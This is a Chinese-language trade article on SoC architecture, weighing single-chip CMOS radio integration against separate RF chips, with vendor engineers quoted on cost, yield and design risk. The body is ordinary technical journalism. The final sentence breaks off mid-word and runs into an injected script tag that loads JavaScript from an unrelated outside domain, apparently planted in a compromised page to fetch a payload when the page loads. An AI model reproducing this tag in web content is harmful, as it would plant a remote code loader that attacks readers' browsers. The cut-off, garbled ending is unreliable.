单片无线电困扰SoC架构师

将无线功能集成到soc 中要特别注意分区和架构的决策,而这些决策一般没有明确答案。

  要 点

  市场的需求驱动将rf 电路集成到soc (单片系统)中。

  保持rf电路做在单独芯片上仍有一些令人信服的理由。

  无线电架构的选择,特别是接收器,还远远没有定论。

  架构师必须从整个系统考虑,而不能只局限于单个芯片。

  无线链路在电子系统中的应用越来越普遍。wimax 及3g蜂窝网络主导着高速数据传输的无线连接领域,而像zigbee 及wibree 等标准则占据了低速数据传输与低能耗市场。但不论哪种情况,市场经济及消费者都期望系统架构师至少能将无线电硬件集成到soc (单片系统)中。

  围绕这一要求出现了一些关键问题。首先,单芯片是最佳方式吗?或许将无线电隔离在单独芯片上更适合应用?其次,给出了这些问题的答案后,那么哪种架构最适合接收器和发射器?在这些答案背后还有其它问题:架构师能否系统地进行决策?或者他们必须不仅逐个进行决策,而且要采用逐个决策处理的流程?

  某些厂商,特别是手机厂商,似乎觉得除了将无线电完全集成到soc中外,其它都像电子管调谐器一样过时了。然而, 是采用rf 工艺将无线电在单独芯片上实施 ,还是至少以vanilla-cmos-logic 工艺将部分rf 电路实施到soc上 ,这一决定并不容易。系统架构师必须考虑市场期望、寿命周期成本、性能需求及项目风险等问题。架构师需要全面分析所有这些因素,才能做出明智的决策。

  首先列出的是情感,而不是客观的判断。特别是消费类移动设备市场,成本和形式因素的影响极大,通常的观念是只有单芯片方式可以接受。broadcom? 无线电技术工程部的高级总监maryam rofougaran说:“问题是实施单芯片方案很困难,所以需要采用数字cmos,”“再说rf-cmos 工艺的成本也非常高,所以我们把目标对准了数字cmos 工艺。”

  其它经营手机业务的厂商,至少是市场份额较大的厂商,都同意这种观点。staccato communications的首席技术官robert aiello认为,“对我们来说,单芯片仅仅是一种业务考虑,我们只针对单芯片解决方案开展业务。” “因此,我们必须建立一个有大规模生产集成无线电经验的团队。”

  texas instruments(ti)或许是这种方式最坚定的支持者,他们已经将其cmos单芯片无线电架构作为品牌产品drp (数字射频处理器)推出。“单芯片方案具有明显的优势,” ti无线终端业务首席技术官bill krenik解释道,“如今,用于低成本应用的无线电芯片已能采用数字工艺大量地制造了,” krenik还说:“单芯片架构的设计复杂,开发成本大,因此这种设计需要大的市场以及有着良好预期的市场份额。市场份额较小的产品,如高档手机,不适合采用单芯片架构。”

  另一种不容忽视的观点并非来自于客户,而是风险投资界。“如果你是当今的创业者,不管你认为是否合适,你的投资方都会督促你采用数字cmos进行单芯片设计,”ibm客户经理teddy o’connell说,“但是在做出决策前,还是需要考虑某些非常重要的问题。”

  许多问题都与方案的成本相关。o’connell 和其他人指出,在多芯片封装成为主流的情况下, 单芯片相对于多芯片设计的经济性已经有所改变。双芯片组装的预算成本可能比单个封装芯片大,但这种差异只是均差的开始。“单芯片只有20% 的部分为rf电路,成品率明显低于数字部分,”o’connell 指出,“随着设计转向更精细的几何尺寸, rf 部分将会增大而不是缩小。而且,对rf 性能的要求会推动整个设计迈向更先进的数字工艺节点,而如果采用单个rf 及数字芯片是无法实现的。”

  然而成本均差难以捉摸。选择单芯片还是多芯片策略会影响无线电架构的选择,这又对无线电所需外部无源元件的数量和质量产生重大影响。除去元件、空间、插入及测试等成本,这些无源元件会对系统总成本产生较大的影响。

  性能要求和设计风险也相互关联。理论上,65nm 或90nm cmos逻辑工艺最适合rf。“就在几年前,千兆赫范围的rf要采用gaas(砷化镓) 工艺加工的昂贵晶体管。”analog devices的业务开发总监doug grant评论说,“但工艺尺寸减小导致寄生电容降低、传输路径缩短以及晶体管?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计